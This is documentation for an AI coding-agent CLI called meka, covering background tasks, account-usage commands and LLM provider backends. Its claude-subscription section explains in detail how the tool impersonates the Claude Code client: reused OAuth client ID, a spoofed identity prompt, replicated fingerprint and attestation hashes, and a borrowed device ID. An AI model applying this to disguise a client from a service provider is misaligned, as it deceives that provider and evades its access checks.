execute_command({"command": "cargo test --all", "background": true})

That returns something like:

Started in the background as task 7f3a1c22 (cargo test --all). It is still
running; its result will be delivered to you when it finishes.

The agent then carries on. When the task ends, its outcome arrives as a new turn:

[Background task reporting at 2026-08-12 14:31 CEST]

7f3a1c22 (cargo test --all) finished after 12m 4s.

test result: ok. 1674 passed; 0 failed

Running tasks also appear in the per-turn context under [Background], so the agent can see what it already started and does not launch a second copy:

[Background]
Tasks you started and did not wait for, still running. Each will report to you
on its own when it finishes; do not poll for them and do not start a second
copy of work already listed here.

- **7f3a1c22**: cargo test --all

That section is rendered fresh every turn from live state, like [Todo list], so it is always current rather than something the agent has to reconstruct. It carries no results: an outcome is permanent and belongs in the conversation, delivered as its own turn. The section disappears entirely when nothing is running.

Outcomes

Every task ends in one of four states, and every one of them is reported (as a turn everywhere except --oneshot, which has no later turn and prints them instead):

StatusMeaning
completedThe tool returned successfully
failedThe tool returned an error
cancelledStopped on request, via task_cancel, /tasks cancel, or a second Ctrl+C
interruptedThe process holding it went away

interrupted is the one that matters most. A task in flight when meka exits cannot be resumed, so it is retired and reported the next time something takes ownership of that session: a REPL resume, a meka serve reattach, or an ACP session/load. Nothing is written at exit; the next owner does the retiring, because holding the session lock is what proves the previous owner is gone. Without this the agent would wait forever on a result it had usually already promised someone.

Large output is written to a scratchpad entry and the delivered turn carries the beginning plus the entry name, so a long build log does not occupy the conversation permanently.

Managing tasks

The agent has task_list and task_cancel. You have:

/tasks                    # list this session's tasks
/tasks show 7f3a1c22      # one task in full, including its whole id
/tasks cancel 7f3a1c22    # stop one
/tasks cancel --all       # stop all of them

A cancelled task still reports back, so the agent learns it stopped rather than waiting on it – but it does not interrupt to say so. Every other outcome wakes the agent when it lands, because nobody chose it: a build finished, a tool failed, or a host died holding the task. A cancellation is always somebody’s deliberate act, and that somebody already knows, so it waits and is read at the top of whichever turn the session takes next – yours, or a scheduled job’s – as part of that message rather than as one of its own. Cancelling several tasks costs no turns at all.

Webhooks do not wait on any of that. Under meka serve, task.finished fires as soon as a task reaches a terminal state, rather than when a turn gets around to reporting it – so a cancelled task is announced immediately, and one left running by a host that died is announced when the session is next opened, which it was not before.

An outcome that rides a turn is part of that turn’s message, so /rewind over that exchange takes the report with it. The task row is already stamped as reported and is not handed out again, so the outcome is gone rather than redelivered. meka session export still has it: the log is append-only, and a rewind changes what the model sees rather than what was recorded.

Ctrl+C

The first Ctrl+C cancels the turn only. Background tasks keep running.

This is the shell’s contract, where Ctrl+C signals the foreground process group and &-ed jobs survive. Losing a twenty-minute build to a keystroke aimed at the answer on screen is unrecoverable, and it is not what the keystroke meant.

meka prints what survived so nothing is hidden:

Interrupted.
2 background task(s) still running. Press Ctrl+C again during a turn to stop
them, or use /tasks.

A second Ctrl+C during the same turn stops them. Between turns, /tasks cancel --all is the route.

Where it works

HostBehaviour
REPLFull. Outcomes arrive between turns
meka serveFull, for sessions currently resident
ACPFull, for sessions the editor has open
--oneshotThe run waits for outstanding tasks before exiting

A one-shot run exits with the turn, so there is no later turn to deliver into. Rather than kill the work halfway through, it waits for every outstanding task and then prints the outcomes on stderr. The agent does not see them: its turn is already over. So a background call under --oneshot costs the same wall-clock as a synchronous one without the result reaching the model, which makes it worth avoiding rather than a feature to reach for.

Sub-agents (agent_spawn) deliberately cannot start background tasks. A sub-agent’s session ends with the single turn that spawned it, so it could neither outlive that turn nor be around to hear the result.

Concurrent edits

Background tasks make it ordinary for two agents to work in one directory at once. meka does not lock anything: coordination is the orchestrating agent’s job, exactly as it is between two people on one machine.

What it does do is make a lost race visible. edit_file records what a file looked like when it was read, and refuses an edit against a file that changed since:

Error: file 'src/main.rs' changed on disk after you read it. Something else
wrote to it (a shell command, another agent, or the user). Read it again
before editing so you are not overwriting that change, or set force=true to
edit anyway.

This applies whether or not background tasks are enabled: a shell sed -i, or your own editor, produces the same situation.

A file served by the editor under ACP is checked against the editor rather than the disk, since the bytes the agent saw were the editor’s. The check is the same; only the thing it compares against changes. See read-before-edit.

Account Info

meka account exposes read-only account information obtained through a provider’s OAuth API, so you can script things that aren’t otherwise reachable (a status bar, a cron alert). Every subcommand takes an optional profile (defaults to the active provider, same as --provider) and a --format plain|json. The requested data goes to stdout; notes and errors go to stderr, so meka account … 2>/dev/null | jq stays clean.

Availability is per backend: claude-subscription and chatgpt-subscription (subscription OAuth) support these; for usage and stats, API-key backends, OpenAI-compatible endpoints and Ollama print a short “not available” note and exit non-zero. whoami works on any profile: it fills the fields it can and fails only when the credential itself is invalid.

meka account usage

Current rate-limit windows (percentage used + reset time):

$ meka account usage
Account usage
  5-hour (session)   [##--------]  23% used  (resets in 1h 58m, 2026-07-02 02:10)
  Weekly             [----------]   4% used  (resets in 12h 48m, 2026-07-02 13:00)

$ meka account usage --format json
{
  "provider": "claude-max",
  "windows": [
    { "label": "5-hour (session)", "used_percent": 23.0, "resets_at": 1782958200 },
    { "label": "Weekly", "used_percent": 4.0, "resets_at": 1782997200 }
  ],
  "extra_usage": { "enabled": false, "utilization": null, "used": 0.0,
                   "balance": null, "currency": "USD" },
  "note": null
}

resets_at is a Unix timestamp in seconds (date -d @1782958200). The extra_usage block reports pay-as-you-go / overage state (whether it’s enabled, percent of the extra-usage limit consumed, amount spent, and remaining credit balance); the plain view shows a line when it is enabled, has a balance, or has recorded any spend.

meka account whoami

Account identity, plan, and local auth status. The auth block is computed from the stored credential (no network), so even when the identity call fails because the token needs a re-login, whoami still reports it and exits non-zero:

$ meka account whoami
Account: claude-max (claude-subscription)
  Auth:          valid (5h 45m)
  Plan:          claude_max
  Tier:          default_claude_max_20x
  Subscription:  active
  Role:          admin

$ meka account whoami --format json
{
  "provider": "claude-max",
  "backend": "claude-subscription",
  "auth": { "valid": true, "expires_at": 1782971829, "expires_in_seconds": 20709 },
  "identity": { "plan": "claude_max", "tier": "default_claude_max_20x",
                "subscription_status": "active", "role": "admin", ... }
}

identity is null when the backend has no identity endpoint. expires_at / expires_in_seconds are in seconds; a negative expires_in_seconds (or valid: false) means “run meka provider login”.

meka account stats

Historical usage. chatgpt-subscription is rich (lifetime tokens, peak day, streaks, and per-day token counts); claude-subscription reports only a first-used date:

$ meka account stats
Account history: claude-max
  First used:        2026-04-01

$ meka account stats --format json
{ "provider": "claude-max", "lifetime_tokens": null, "peak_daily_tokens": null,
  "current_streak_days": null, "longest_streak_days": null,
  "first_used": "2026-04-01T17:36:16.996974Z", "daily": [] }

For Codex, daily is a list of { "date": "YYYY-MM-DD", "tokens": N } you can feed into a graph.

Example: i3blocks

A block that shows the Claude 5-hour and weekly usage, refreshed every 5 minutes:

#!/bin/sh
# ~/.config/i3blocks/meka-usage   (set interval=300)
u=$(meka account usage claude-max --format json 2>/dev/null) || { echo "claude ?"; exit 0; }
echo "$u" | jq -r '
  (.windows[] | select(.label|startswith("5-hour")).used_percent) as $s |
  (.windows[] | select(.label=="Weekly").used_percent) as $w |
  "claude 5h:\($s|floor)% wk:\($w|floor)%"'

Each invocation makes one API call, so keep the poll interval sane (minutes, not seconds). The token is refreshed automatically when near expiry and written back to the database, exactly as during a normal session.

Providers Overview

Providers are the LLM inference backends meka uses to run your instructions. meka ships with five, each selectable as a profile type:

BackendProtocolEndpointAuth
anthropic-messagesAnthropic Messages{base}/v1/messagesAPI key
claude-subscriptionAnthropic Messagesapi.anthropic.com/v1/messagesClaude subscription
openai-chat-completionsOpenAI Chat Completions{base}/chat/completionsAPI key
openai-responsesOpenAI Responses{base}/responsesAPI key
chatgpt-subscriptionOpenAI Responseschatgpt.com/backend-api/codex/responsesChatGPT subscription

A backend names the wire protocol, not a vendor. That is deliberate, and it cuts both ways. One vendor can serve several protocols: OpenAI publishes Chat Completions and Responses, and they are different request shapes, not options on one. One protocol is served by many vendors: /v1/messages is implemented by Anthropic, Amazon Bedrock, Databricks, LiteLLM and Ollama, so calling it “the Claude API” would misname it the moment you point it elsewhere.

The two subscription backends are the exception, and carry a vendor name instead. What you pick there is a billing relationship; the endpoint and the client shape come with it and are not yours to choose.

Synthetic is the clearest case for why this matters. One vendor, two protocols, two base URLs:

[providers.synthetic-claude]
type     = "anthropic-messages"
base_url = "https://api.synthetic.new/anthropic/v1"

[providers.synthetic-gpt]
type     = "openai-chat-completions"
base_url = "https://api.synthetic.new/openai/v1"

Configuring a Provider

Providers are configured as named profiles. The easiest way is meka provider add, which writes the profile to the config file and stores the secret (API key or OAuth token) in the database:

$ meka provider add work --type claude-subscription --model claude-opus-5

This produces a [providers.work] entry in ~/.config/meka/config.toml:

default_provider = "work"

[providers.work]
type  = "claude-subscription"
model = "claude-opus-5"

Selecting a Provider

A new session runs on the profile named by --provider <name>, else default_provider, else the sole profile. Switch the default with meka provider use <name>:

meka --provider work     # pick the profile this session starts on
meka provider use work   # persist as default_provider

There is no environment-variable override for provider selection.

A resumed session ignores all three and runs on the profile it recorded, so meka -c stays where the conversation was had whatever default_provider currently says. --provider on a resume is not a per-run override either: it repins the session, rewriting the row so every later resume keeps it. meka session list shows which profile each session runs on, which is the whole story: a session records a profile name and nothing else. You can move a live session with /provider <name> in the REPL, PATCH /v1/sessions/{id} over HTTP, or the Provider picker in an ACP client. See Sessions.

Pointing a backend somewhere else

Every API-key backend takes a base_url, so the protocol you pick is independent of who serves it:

ServerChat CompletionsResponsesAnthropic Messages
OpenAIyesyesno
Anthropicnonoyes
Ollamayesyes (v0.13.3+)yes
OpenRouteryesyes (beta)yes
vLLM / LM Studioyesyesno
Syntheticyesnoyes

Where a server offers both OpenAI protocols, prefer openai-responses: it is what OpenAI recommends for new work and what the agent tooling ecosystem has moved to. Use openai-chat-completions for a server that does not serve Responses.

Note that several of these also expose a legacy /v1/completions endpoint. That is a third, different protocol: a bare prompt string in, choices[].text out, no tool calling. meka does not speak it. It cannot: the agent loop needs tool calls, which that protocol has no representation for.

anthropic-messages vs claude-subscription

Both talk to Claude’s /v1/messages endpoint, but the auth and request shape differ:

  • anthropic-messages is the straightforward path: an x-api-key header and a plain system prompt, plus anthropic-beta: interleaved-thinking-2025-05-14 whenever thinking is on (the default). Choose this when you have a Claude API key.
  • claude-subscription replicates the Claude Code CLI exactly: OAuth tokens, fingerprint-encoded version header, xxHash64 attestation over the request body, injected billing system block. Choose this when you want to use a Claude Code subscription. Any deviation from the expected shape causes requests to be rejected, so avoid proxies that rewrite headers or reformat the body.

Choosing between the OpenAI backends

Three backends, two protocols:

  • openai-chat-completions posts to /chat/completions with an API key. Choose it for a server that serves only this protocol.
  • openai-responses posts to /responses with an API key, the same protocol chatgpt-subscription uses. Choose it for OpenAI, or for any server that serves Responses.
  • chatgpt-subscription posts to chatgpt.com/backend-api/codex/responses, authenticating by OAuth against auth.openai.com and mirroring the first-party Codex CLI. Choose it to bill a ChatGPT Plus / Pro / Team / Business subscription instead of a per-token API key.

The first two differ by protocol; the last two differ only by auth and endpoint.

Streaming vs Non-Streaming

By default, meka uses streaming mode: tokens appear in the terminal as they are generated. Use --no-stream to wait for the complete response before displaying it.

Streaming is recommended for interactive use. Non-streaming may be useful for scripting or when the provider does not support SSE.

Anthropic Messages

The Anthropic Messages API (POST {base_url}/v1/messages) with an API key. Use this when you have an Anthropic API key, billed per token; to bill a Claude subscription instead, see claude-subscription, which speaks the same protocol.

The protocol is not Anthropic’s alone. Databricks, OpenRouter, Vercel AI Gateway, LiteLLM, Synthetic and Ollama all serve /v1/messages, as does Amazon Bedrock on its Anthropic-compatible host (https://bedrock-mantle.{region}.api.aws/anthropic, with an API key, not bedrock-runtime, which is SigV4 and /model/{id}/invoke). This backend reaches any of them via base_url, which is why it is named for the protocol rather than for Claude.

Configuration

SettingValue
Profile typeanthropic-messages
Default base URLhttps://api.anthropic.com
CredentialAPI key (sk-ant-api03-...) stored in the database
Auth methodx-api-key header
API version2023-06-01

Quickest Start

meka provider add anthropic --type anthropic-messages --model claude-opus-5

meka provider add prompts for your Claude API key, stores it in the database, and writes the [providers.anthropic] profile. To read the key from a pipe instead of prompting, pass --api-key-stdin.

Config File

meka provider add writes this for you (the key stays in the database, not here):

default_provider = "anthropic"

[providers.anthropic]
type = "anthropic-messages"
model = "claude-opus-5"

effort

meka sends the reasoning-effort control as output_config.effort in the request body. Unlike claude-subscription, no beta header is needed: the parameter is generally available on the direct Messages API. When effort is unset the field is omitted entirely, which is how you ask for Anthropic’s own default. See the effort config reference for the levels.

thinking

adaptive (the default) sends thinking: {"type": "adaptive"} and lets the model set its own budget; budgeted sends the older {"type": "enabled", "budget_tokens": N} form, taking N from the profile’s thinking_budget and falling back to [thinking].budget_tokens; off sends no thinking field. Pre-4.6 Claude models require budgeted.

Supported Models

Any model available through the Claude Messages API; meka forwards the model string verbatim and doesn’t gate which strings are valid. For the current line-up and their retirement dates, see Anthropic’s models overview - meka provider add suggests claude-opus-5 for new Claude profiles.

Custom Base URL

To use a Claude-API-compatible proxy or gateway, set the profile’s base_url. Add it when creating the profile, or change it later:

meka provider add gateway --type anthropic-messages --model claude-opus-5 \
    --base-url https://gateway.example.com/anthropic

meka provider set gateway base_url https://gateway.example.com/anthropic

A trailing /v1 is dropped, since meka appends it per request: publish https://gateway.example.com/anthropic or https://gateway.example.com/anthropic/v1, either works.

Anthropic-compatible endpoints

The model behind the endpoint doesn’t have to be Claude. Ollama, LM Studio and similar runtimes serve local weights over POST /v1/messages, and anthropic-messages reaches them with a placeholder key:

meka provider add local --type anthropic-messages \
    --model 'hf.co/bartowski/Qwen3.8-27B-GGUF:Q8_0' \
    --base-url http://127.0.0.1:11434

Nothing in the request is tuned to Claude unless you ask for it. effort is omitted when unset, so a backend with no reasoning tiers is never handed one, and thinking is whatever the profile says rather than something inferred from the model name - set budgeted if your endpoint only implements the older encoding, or off if it implements neither.

The one setting worth stating is the context window. meka never probes for it, so an unset profile budgets against the 1M default; on a smaller model that means compaction only fires once the backend itself rejects the request:

[providers.local]
context_window = 262144
thinking = "budgeted"   # only if the endpoint rejects the adaptive form

API Details

Endpoint: POST {base_url}/v1/messages

Headers:

  • x-api-key: <api_key>
  • anthropic-version: 2023-06-01
  • content-type: application/json
  • accept: application/json
  • anthropic-beta: interleaved-thinking-2025-05-14, whenever thinking is on (the default)

System prompt: Sent as a top-level system string.

Tool format: Tools are defined with input_schema:

{
  "name": "read_file",
  "description": "Read the contents of a file at the given path.",
  "input_schema": { "type": "object", "properties": { ... } }
}

Streaming: Server-Sent Events with named event types (message_start, content_block_start, content_block_delta, content_block_stop, message_delta, message_stop, ping).

Claude subscription

The Anthropic Messages API billed to a Claude subscription. Authenticates by OAuth and mimics the Claude Code CLI’s exact request shape, headers and request signing. Use this instead of a per-token Anthropic API key; for that, see anthropic-messages, which speaks the same protocol.

Named for the subscription rather than the protocol because that is what you are choosing: the endpoint is always api.anthropic.com and the client shape comes with the billing relationship.

Note: This provider replicates Claude Code’s fingerprinting and attestation machinery exactly. Modifying the request body, headers, or OAuth flow will cause requests to be rejected by Anthropic. If you hit 401/403 errors, verify that no middleware is rewriting the request.

Configuration

SettingValue
Profile typeclaude-subscription
Default base URLhttps://api.anthropic.com
CredentialOAuth bundle stored in the database (acquired via meka provider add / login)
Auth methodAuthorization: Bearer <oauth_token>
API version2023-06-01

Quickest Start

meka provider add work --type claude-subscription --model claude-opus-5

meka provider add opens your browser, walks you through authorization, and saves the tokens to the local database. It also writes the [providers.work] profile and sets it as the default.

Config File

meka provider add writes this for you; you can also edit it by hand (secrets stay in the database):

default_provider = "work"

[providers.work]
type = "claude-subscription"
model = "claude-opus-5"
effort = "xhigh"         # optional; unset sends "high", as Claude Code does
thinking = "adaptive"    # optional; "adaptive"|"budgeted"|"off", default "adaptive"
redact_thinking = true   # optional; default on, matching Claude Code
# device_id, oauth_token_url, client_id are all optional overrides

See Configuration → Config File for the full list of fields.

Provider-specific knobs

effort

Sent as output_config.effort under the effort-2025-11-24 beta. When unset, meka sends high, which is what Claude Code does; only a model that takes no effort at all gets neither the field nor the beta. An explicit value is absolute: sent verbatim, with no validation or clamping, whatever model it is aimed at. Typical values: "low", "medium", "high", "xhigh", "max". See Reasoning effort.

thinking

adaptive (the default) sends thinking: {"type": "adaptive"}; budgeted sends {"type": "enabled", "budget_tokens": N} from the profile’s thinking_budget (falling back to [thinking].budget_tokens), which pre-4.6 models require; off sends no thinking field. temperature follows whether thinking is on at all, not which encoding it uses. The betas do not: they are gated on the model alone.

redact_thinking

Adds the redact-thinking-2026-02-12 beta header for capable models, matching Claude Code, which sends it by default. With it on, the server withholds the readable chain of thought: thinking blocks come back with empty text plus a signature, and any redacted_thinking blocks carry an opaque data payload. meka preserves and replays both verbatim, so multi-turn reasoning continuity is maintained. The practical effect is that live thinking output goes quiet for these models (there is no readable text to show), exactly as in Claude Code. Defaults to true; set redact_thinking = false to drop the beta and keep interleaved thinking visible.

A stored block records that its signature is Claude’s, so resuming the session under an OpenAI profile does not replay a Claude signature as encrypted reasoning. A session recorded by 0.41 holds its blocks under a shape that names no provider, and meka does not reshape them when it opens a session; the one-shot upgrade script does. Until it runs, such a block keeps its readable text and loses its signature, so those turns are not replayed as verified reasoning.

device_id

Stable per-machine identifier embedded in metadata.user_id to mirror Claude Code’s ~/.claude.json device ID (getOrCreateUserID in utils/config.ts).

If unset, meka first tries to adopt userID from ~/.claude.json (so meka and Claude Code on the same machine present as the same device). If that file is missing or has no userID, meka generates a 64-character hex string. Either way the resolved value is persisted back to [providers.<name>].device_id in config.toml. Other backends ignore this field; no stub config file is written for them.

client_id

Optional override for the OAuth client ID. Defaults to Claude Code’s client ID; rarely needed.

Authentication

OAuth login

meka provider add (and meka provider login <name> to re-authenticate) performs an OAuth 2.0 Authorization Code flow with PKCE:

  1. meka generates a PKCE challenge and opens your browser to Claude’s authorization page.
  2. You authorize the application in your browser.
  3. You paste the authorization code back into meka (the redirect URI is the platform.claude.com hosted callback page, not a local listener).
  4. meka exchanges the code for access + refresh tokens.
  5. Tokens are stored in the local database and refreshed automatically.

The OAuth client ID defaults to Claude Code’s client ID but can be overridden per profile via client_id.

Token Lifecycle

  1. Acquire the initial token with meka provider add / login.
  2. The token bundle is stored in the database, keyed by the profile name.
  3. On subsequent launches the token is loaded from the database.
  4. meka refreshes the access token automatically when it’s within 5 minutes of expiry; the new token is written back to the database under the same profile.
  5. If the refresh token dies, run meka provider login <name> to re-authenticate. meka says so itself: a refresh the authorisation server rejects ends the turn with that command in the error, naming the profile. A refresh that fails because the token endpoint is rate-limited or down is retried with backoff instead, since neither answer means the grant is bad.

Token refresh URL: defaults to https://api.anthropic.com/v1/oauth/token. Configurable via oauth_token_url in the profile.

Supported Models

Any model your Claude Code subscription exposes. For the current line-up and their retirement dates, see Anthropic’s models overview - meka provider add suggests claude-opus-5 for new Claude profiles.

meka forwards the model string verbatim and doesn’t gate which strings are valid. What is model-derived is a small set of gates, each pointed the way Claude Code points it. temperature is an allowlist, so an unrecognised model omits the field rather than earning a 400: it goes only to the models that still accept sampling params (Opus 4.6, Sonnet 4.6, Haiku 4.5, and older). mid-conversation-system-2026-04-07 and output_config.effort are denylists, so an unrecognised model gets both: withholding the first would silently drop mid-conversation system messages, and effort is what a newer model is for. The claude-code-20250219 beta is skipped for the Haiku tier. See Beta header and Reasoning effort.

API Details

Endpoint: POST {base_url}/v1/messages?beta=true

Authentication & identity headers:

  • Authorization: Bearer <oauth_token>
  • anthropic-version: 2023-06-01
  • anthropic-beta: <comma-separated beta list> (computed per request, see below)
  • x-app: cli
  • User-Agent: claude-cli/<version> (external, cli)
  • X-Claude-Code-Session-Id: <uuid> (per-process)
  • Stainless SDK identification headers (x-stainless-*)

Beta header

Composed dynamically from the model + thinking settings, mirroring Claude Code’s own assembly. Order is significant; the list below matches the Claude Code 2.1.241 interactive-CLI wire capture (tools present, thinking on) exactly:

BetaWhen
claude-code-20250219All models except Haiku family
oauth-2025-04-20Always (subscription auth)
interleaved-thinking-2025-05-14Any modern Claude (4.x+)
redact-thinking-2026-02-12Any modern Claude (4.x+); on by default, redact_thinking = false opts out
thinking-token-count-2026-05-13Any modern Claude (4.x+)
context-management-2025-06-27Any modern Claude (4.x+)
prompt-caching-scope-2026-01-05Always
mid-conversation-system-2026-04-07Everything except Claude 3.x, Opus 4.7 and older, Sonnet 4.6 and older, and Haiku 4.5
advanced-tool-use-2025-11-20When the request carries tools (meka always does)
effort-2025-11-24Every model that takes an effort at all, whether or not the profile set one
fallback-credit-2026-06-01Always. Claude Code latches it on every interactive turn; it only advertises that the server may answer with a fallback credit, and meka sends no fallbacks of its own
extended-cache-ttl-2025-04-11Always (meka sends a 1h cache TTL)

meka does not send context-1m-2025-08-07: Claude Code stopped sending it after 2.1.185, because 1M is the default context window (no beta header) on the current large-context models.

System prompt

Sent as an array of three text blocks:

  1. x-anthropic-billing-header: cc_version=<version>.<fingerprint>; cc_entrypoint=cli; cch=<xxHash64-attestation>; plus, when they apply, cc_is_subagent=true;, cc_prev_req=<request id>; and cc_prompt_id=<uuid>;, in that order. The fingerprint suffix is a 3-character hex hash derived from the first user message (SHA256(salt + msg[4] + msg[7] + msg[20] + version)[:3]); the cch token is xxHash64 of a filtered copy of the serialized request body, computed and patched in just before send.

    cc_prompt_id identifies one human prompt and stays the same across every request that prompt produces, including the whole tool loop; a sub-agent inherits its spawner’s. cc_prev_req names the request-id of the previous response in the same conversation, so it is absent on a conversation’s first request. Both are absent from meka’s own side queries, which is where Claude Code omits them too.

  2. You are Claude Code, Anthropic's official CLI for Claude. (fixed identity prefix).

  3. Your own system prompt, which carries cache_control: {type: "ephemeral", ttl: "1h", scope: "global"}.

Only block 3 is marked for caching, matching the captured Claude Code CLI wire; scope: "global" shares the cached prefix across sessions. Tools carry no cache_control (the rolling last-message breakpoint caches the tools+system prefix).

Body key order

Keys are serialized in Claude Code’s own order, which HTTP preserves:

model, messages, system, tools, metadata, max_tokens, thinking,
[temperature], [context_management], [output_config], stream

Nothing in meka depends on that order. patch_request_body finds the cch=00000 placeholder by walking the JSON structurally to the top-level system key rather than by searching for the billing header, so a conversation that quotes one - which any session about this code does - cannot capture the attestation.

Other body fields

  • metadata.user_id: JSON-encoded {"device_id": "...", "account_uuid": "...", "session_id": "..."} (device_id from the profile’s device_id; account_uuid from the OAuth token, empty until one is known; session_id is per-process).
  • context_management.edits = [{type: "clear_thinking_20251015", keep: "all"}]: present when thinking is enabled on a context-management-capable model. Mirrors Claude Code’s apiMicrocompact.
  • output_config.effort: see Reasoning effort.
  • temperature: 1 (only when thinking = "off", and only for models that still accept sampling params).
  • max_tokens: 64_000 under thinking = "adaptive", max(thinking_budget * 2, 32_000) under budgeted, 32_000 under off.

Reasoning effort

Claude Code never leaves output_config.effort to the server on a model that takes one: it looks the model up in a table bundled in its binary, reads that model’s default_effort, clamps it to what the model supports, and sends the result. meka also always sends a value, but one value rather than a per-model one, and sends the effort-2025-11-24 beta alongside it.

sent
profile sets effortthat value, verbatim
profile sets nothinghigh
model takes no effortnothing, and no beta; a configured value is dropped with a warning

One value for every model, not a copy of that table. high is what Claude Code’s own resolution produces for almost every effort-capable model in the 2.1.241 table once the clamps have run, and it is what Claude Code falls back to for any model the table does not list. Carrying the per-model figures instead would add facts about Anthropic’s data that go stale on their release schedule and buy nothing, because the server cannot tell a default meka chose from a value you configured. Models that take no effort at all are the Claude 3.x line, Opus 4.0/4.1, Sonnet 4.0/4.5 and Haiku 4.5.

A value you configure is absolute. Claude Code silently lowers xhigh or max to high on a model whose bundled entry lacks the capability; meka does not, because that table is a snapshot of someone else’s system and quietly overriding what you asked for on the strength of it is worse than letting the API answer.

Only claude-subscription does this. anthropic-messages still omits effort when the profile sets none, because it can point at any Anthropic-compatible endpoint and has no standing to assert a default there.

Cache control

The most recent message’s last content block and the user system prompt carry cache_control: {type: "ephemeral", ttl: "1h"}. The 1h TTL is what an OAuth subscriber’s Claude Code turn carries on the wire.

Caching is prefix-based: the system prompt precedes the tools array, which precedes the messages, so a byte changing early invalidates everything after it. meka is built so that nothing which changes mid-session sits in that prefix.

  • The system prompt is fixed for a session. It carries only the role description, permission model, user instructions, guidelines, and OS/shell info, all resolved once at startup. The tool catalogue, skill list, and MCP server instructions live in the per-turn <context> block instead, because all three can change while a session runs.
  • The tools array only grows at the tail. load_tool appends a schema rather than reordering, so the earlier entries stay byte-identical.
  • Permission toggles cost nothing. See Permissions.

Two things do legitimately invalidate it, both by necessity rather than oversight: compaction, which rewrites the head of the conversation, and an MCP server withdrawing a tool via tools/list_changed, which has to be removed from the tools array. The latter is confined to the array, leaving the system prompt ahead of it intact.

You can see the effect directly: /status reports the cache hit ratio, and reads should dominate from the second turn onward.

Streaming

Server-Sent Events with the same event taxonomy as anthropic-messages: content_block_start, content_block_delta, content_block_stop, message_delta, message_stop. Reasoning streams as thinking_delta events; redacted thinking arrives as a redacted_thinking block carrying an opaque data payload and no signature, rendered as [redacted thinking].

OpenAI Chat Completions

The Chat Completions API (POST {base_url}/chat/completions) with an API key. Works against OpenAI and any endpoint implementing that format: Ollama, vLLM, LM Studio, OpenRouter, Synthetic, LiteLLM.

This is not the legacy /v1/completions endpoint, which is a different protocol: a bare prompt string in, choices[].text out, no tool calling. Several of those same servers also expose it; meka does not implement it.

For the same key against OpenAI’s newer protocol, see openai-responses.

Configuration

SettingValue
Profile typeopenai-chat-completions
Default base URLhttps://api.openai.com/v1
CredentialAPI key (sk-...) stored in the database
Auth methodBearer token (Authorization: Bearer <key>)

Quickest Start

meka provider add openai --type openai-chat-completions --model gpt-5.6-sol

meka provider add prompts for your OpenAI API key, stores it in the database, and writes the [providers.openai] profile. To read the key from a pipe instead of prompting, pass --api-key-stdin.

Config File

meka provider add writes this for you (the key stays in the database, not here):

default_provider = "openai"

[providers.openai]
type = "openai-chat-completions"
model = "gpt-5.6-sol"

Supported Models

Any model reachable over the Chat Completions API that supports tool calling. For OpenAI’s current line-up, see OpenAI’s models overview - meka provider add suggests gpt-5.6-sol for new OpenAI profiles. Against a compatible endpoint the valid names are that server’s: whatever Ollama, vLLM, LM Studio or OpenRouter serves. meka forwards the model string verbatim and doesn’t gate which strings are valid.

Custom Base URL

To use an OpenAI-compatible endpoint, set the profile’s base_url. Add it when creating the profile:

# Ollama (no real key; pipe a placeholder)
printf 'unused' | meka provider add ollama --type openai-chat-completions --model llama3 \
    --base-url http://localhost:11434/v1 --api-key-stdin

# OpenRouter
meka provider add openrouter --type openai-chat-completions --model anthropic/claude-sonnet-4.6 \
    --base-url https://openrouter.ai/api/v1

The resulting profile (the key, if any, lives in the database):

[providers.ollama]
type = "openai-chat-completions"
model = "llama3"
base_url = "http://localhost:11434/v1"

Change it later with meka provider set <name> base_url <url>.

API Details

Endpoint: POST {base_url}/chat/completions

Tool format: Tools are sent as function definitions:

{
  "type": "function",
  "function": {
    "name": "read_file",
    "description": "Read the contents of a file at the given path.",
    "parameters": { "type": "object", "properties": { ... } }
  }
}

Tool results: Sent back as messages with role: "tool" and the corresponding tool_call_id.

Streaming: Uses Server-Sent Events (SSE) with data: {...} lines. The stream ends with data: [DONE].

OpenAI Responses

The Responses API (POST {base_url}/responses) with an API key. This is OpenAI’s newer protocol and the one it recommends for new work; it is also what chatgpt-subscription speaks, so the two differ only in how they authenticate and where they post.

Setup

$ meka provider add work --type openai-responses --model gpt-5.6-sol
default_provider = "work"

[providers.work]
type  = "openai-responses"
model = "gpt-5.6-sol"

Configuration

base_url

Defaults to https://api.openai.com/v1. meka appends /responses, so pass the base URL the server publishes and nothing more:

base_url = "http://127.0.0.1:11434/v1"      # Ollama
base_url = "https://openrouter.ai/api/v1"   # OpenRouter

effort

Maps to reasoning.effort. When unset the whole reasoning block is omitted and the endpoint applies its own default. See the effort reference.

Which servers serve this

ServerBase URLNotes
OpenAIhttps://api.openai.com/v1The reference implementation
Ollamahttp://127.0.0.1:11434/v1v0.13.3+ only; earlier versions 404
vLLMyour deployment
LM Studioyour deployment
OpenRouterhttps://openrouter.ai/api/v1Beta
Syntheticnot servedNot supported; use openai-chat-completions or anthropic-messages

Only the non-stateful flavour is needed. meka replays the whole conversation every turn and sends store: false, so it never uses previous_response_id or server-side conversation state, which is also all the local runtimes implement.

Choosing between this and Chat Completions

Both take an API key and both reach most of the same servers, so the question is only which protocol the server implements and which one you want:

  • Prefer openai-responses where it is available. It is what OpenAI recommends for new work, and the agent tooling ecosystem has moved to it: OpenAI’s own Codex CLI dropped Chat Completions support entirely.
  • Use openai-chat-completions for a server that does not serve /v1/responses, which is still a great many of them.

Neither is the legacy /v1/completions endpoint, which is a third protocol with no tool calling that meka does not implement.

API Details

Endpoint: POST {base_url}/responses Auth: Authorization: Bearer <api key> Streaming: SSE, always. complete folds the stream internally rather than issuing a separate non-streaming request.

Request body fields meka sets: model, input, instructions (the system prompt, when non-empty), tools, tool_choice: auto, parallel_tool_calls: false, store: false, stream: true, reasoning.effort (only when effort is set), and max_output_tokens (only when max_output_tokens is set).

What it deliberately does not send is include: ["reasoning.encrypted_content"] or reasoning.summary. Both are OpenAI extensions: the first round-trips reasoning across stateless turns, the second asks for the human-readable digest meka renders as a thinking block. chatgpt-subscription sends both because its endpoint is always ChatGPT; here the endpoint is whatever base_url names, meka has no way to know whether either is understood, and an unrecognised field is a rejected request rather than a degraded one.

The trade-off, stated plainly: against OpenAI itself this backend shows no thinking and carries no reasoning between a turn’s own tool calls. Use chatgpt-subscription if you want either. Endpoints that stream reasoning unprompted (vLLM and Ollama emit response.reasoning_text.delta without being asked) still render their thinking here.

ChatGPT subscription

The Responses API billed to a ChatGPT subscription, at chatgpt.com/backend-api/codex/responses, using the OAuth tokens issued by ChatGPT login and mirroring the first-party Codex CLI’s request shape. The OpenAI counterpart to claude-subscription: instead of paying per token via an API key, you authenticate with your ChatGPT Plus / Pro / Team / Business / Enterprise account and usage counts against your subscription.

